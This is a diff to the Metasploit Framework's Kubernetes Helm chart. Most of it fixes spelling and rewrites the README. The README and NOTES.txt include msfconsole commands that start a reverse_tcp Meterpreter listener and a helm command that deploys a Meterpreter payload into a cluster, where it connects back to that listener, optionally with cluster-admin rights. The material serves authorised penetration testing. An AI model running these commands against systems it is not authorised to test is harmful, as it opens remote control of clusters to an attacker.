Meterpreter Helm chart tweaks

kubernetes/Makefile

@@ -1,6 +1,3 @@
-#
-# 
-#
 .SECONDARY:
 .SECONDEXPANSION:
 
@@ -17,10 +14,10 @@ delete-meterpreter: ##@meterpreter Delete meterpreter chart
 	helm -n metasploit delete meterpreter
 
 
-create-kind-cluster:  ##@Test create KIND cluster
+create-kind-cluster:  ##@Test create kind cluster
 	kind create cluster --image kindest/node:v1.18.2 --name metasploit
 
-delete-kind-cluster:  ##@Test delete KIND cluster
+delete-kind-cluster:  ##@Test delete kind cluster
 	kind delete cluster --name metasploit
 
 

kubernetes/README.md

@@ -1,46 +1,37 @@
+# Metasploit in Kubernetes
 
-# Running Metasploit Framework Against Kubernetes
+The most common workflow to test a Kubernetes environment with Metasploit is to target the Kubernetes API externally,
+or through a compromised container - both of these workflows are currently supported directly within msfconsole.
 
-Running metasploit framework against Kubernetes enables pentesters to security test cluster components such as the API Server, as well as internal application components or micro-services.
+An alternative to compromising a Kubernetes container to gain a Meterpreter session is to install the `meterpreter` helm chart into
+a Kubernetes environment directly. This newly opened Meterpreter session will act as the pivot point for running additional
+Metasploit modules, similar to the behavior of compromising an existing Kubernetes container with msfconsole.
 
-The installation chart (meterpreter) also offers to install & run a metasploit payload, that connects back to metasploit console.
-The payload can be deployed with different priviliges and permissions with respect to Kubernetes node hosting metasploit payload, as well as Kubernetes API server itself - see 'priviliges' section under values.yaml
+## Installation
 
-```yaml
-priviliges:
-  # Disable Kubernetes API Server Access - even to the discovery APIs
-  useServiceAccount: true
-  # Run metasploit framework as Kubernetes cluster admin (useServiceAccount must be true for this setting to be effective)
-  bindClusterRole: "" #cluster-admin 
+To install the Metasploit resources in to your Kubernetes environment: 
 
-  #
-  # Priviliges related to node hosting metasploit Pod
-  # See: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
-  podSecurityContext: {}
-    # fsGroup: 2000
-  # Metasploit container security context
-  securityContext: {}
-    #allowPrivilegeEscalation: false
-    # capabilities:
-    #   add:
-    #   - NET_BIND_SERVICE
-    #   drop:
-    #   - all
-    #runAsNonRoot: true
-    #runAsUser: 1000
-    #runAsGroup: 1000
+1. Make sure [Helm](https://helm.sh/) (version 3 or above) is [installed](https://helm.sh/docs/intro/install/)
+2. Make sure you have an available Kubernetes cluster to deploy Metasploit. You can install a local Kubernetes cluster using [kind](https://kind.sigs.k8s.io/docs/user/quick-start/#installation)
+   You can create local kind cluster by running  `make create-kind-cluster`
+2. A penester should create a Metasploit listener from msfconsole:
+```
+use payload/linux/x64/meterpreter/reverse_tcp
+set LHOST x.x.x.x
+set LPORT 4444
+to_handler
 ```
-
-# Installation
-
-1. Make sure helm (version 3 or above) is [installed](https://helm.sh/docs/intro/install/)
-2. Make sure you have an available Kubernetes cluster to deploy metasploit. You can install a local Kubernetes cluster using [KIND](https://kind.sigs.k8s.io/docs/user/quick-start/#installation)
-    > You can create local KIND cluster by running  `make create-kind-cluster`
 
 3. Install meterpreter helm chart by running:
 
 ```sh
-export MSF_PORT="<routeable port from inside cluster>"
-export MSF_IPADDRESS="<routeable ip from inside cluster>"
-helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter --set lport=$MSF_PORT --set lhost=$MSF_IPADDRESS
+export LHOST="x.x.x.x"
+export LPORT="4444"
+helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter --set lhost=$LHOST --set lport=$LPORT
 ```
+4. If the listener from step 3 was created, ensure you now have a Meterpreter session in msfconsole
+
+## Privileges
+
+The Meterpreter container can be deployed with different privileges and permissions - see the `privileges` section within
+[./meterpreter/values.yaml](values.yaml) for more details.

kubernetes/meterpreter/Chart.yaml

@@ -10,9 +10,6 @@ keywords:
   - pentest
   - penetration testing
 home: https://www.metasploit.com/
-icon: https://www.metasploit.com/includes/images/metasploit-r7-logo.svg
+icon: https://www.metasploit.com/includes/images/metasploit-og.png
 sources:
 - https://github.com/rapid7/metasploit-framework
-maintainers:
-- email: msfdev@metasploit.com
-  name: Metasploit Hackers

kubernetes/meterpreter/templates/NOTES.txt

@@ -1 +1,8 @@
-Make sure meterpreter connected to your Metasploit Receive Handler running at {{ .Values.lhost}}:{{.Values.lport}}
+Make sure meterpreter connected to your Metasploit listener running at {{ .Values.lhost }}:{{ .Values.lport }}
+
+You can create a Metasploit listener with:
+
+use payload/linux/x64/meterpreter/reverse_tcp
+set LHOST {{ .Values.lhost }}
+set LPORT {{ .Values.lport }}
+to_handler

kubernetes/meterpreter/templates/deployment.yaml

@@ -18,13 +18,13 @@ spec:
       imagePullSecrets:
         {{- toYaml . | nindent 8 }}
     {{- end }}
-      {{- if .Values.priviliges.useServiceAccount }}
+      {{- if .Values.privileges.useServiceAccount }}
       serviceAccountName: {{ include "meterpreter.fullname" . }}
       {{ else }}
       automountServiceAccountToken: false
       {{ end }}
       securityContext:
-        {{- toYaml .Values.priviliges.podSecurityContext | nindent 8 }}
+        {{- toYaml .Values.privileges.podSecurityContext | nindent 8 }}
       initContainers:
         - name: msfvenome
           image: "{{ .Values.image.repository}}:{{ .Values.image.tag }}"
@@ -50,7 +50,7 @@ spec:
           tty: true
           stdin: true
           securityContext:
-            {{- toYaml .Values.priviliges.securityContext | nindent 12 }}
+            {{- toYaml .Values.privileges.securityContext | nindent 12 }}
 
           resources:
             {{- toYaml .Values.resources | nindent 12 }}

kubernetes/meterpreter/templates/rbac.yaml

@@ -1,4 +1,4 @@
-{{- if .Values.priviliges.useServiceAccount -}}
+{{- if .Values.privileges.useServiceAccount -}}
 apiVersion: v1
 kind: ServiceAccount
 metadata:
@@ -7,7 +7,7 @@ metadata:
     {{- include "meterpreter.labels" . | nindent 4 }}
 
 ---
-{{- if ne .Values.priviliges.bindClusterRole "" -}}
+{{- if ne .Values.privileges.bindClusterRole "" -}}
 apiVersion: rbac.authorization.k8s.io/v1
 kind: RoleBinding
 metadata:
@@ -17,7 +17,7 @@ metadata:
 roleRef:
   apiGroup: rbac.authorization.k8s.io
   kind: ClusterRole
-  name: {{ .Values.priviliges.bindClusterRole }}
+  name: {{ .Values.privileges.bindClusterRole }}
 subjects:
   - kind: ServiceAccount
     name: {{ include "meterpreter.fullname" . }}

kubernetes/meterpreter/values.yaml

@@ -14,15 +14,15 @@ imagePullSecrets: []
 nameOverride: ""
 fullnameOverride: ""
 
-# Tune the priviliges your Kubernetes meterpreter will run with 
-priviliges:
+# Tune the privileges your Kubernetes meterpreter will run with
+privileges:
   # Disable Kubernetes API Server Access - even to the discovery APIs
   useServiceAccount: true
-  # Run metasploit framework as Kubernetes cluster admin (useServiceAccount must be true for this setting to be effective)
+  # Run Metasploit framework as Kubernetes cluster admin (useServiceAccount must be true for this setting to be effective)
   bindClusterRole: "" #cluster-admin
 
   #
-  # Priviliges related to node hosting metasploit Pod
+  # Privileges related to node hosting metasploit Pod
   # See: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
   podSecurityContext: {}
     # fsGroup: 2000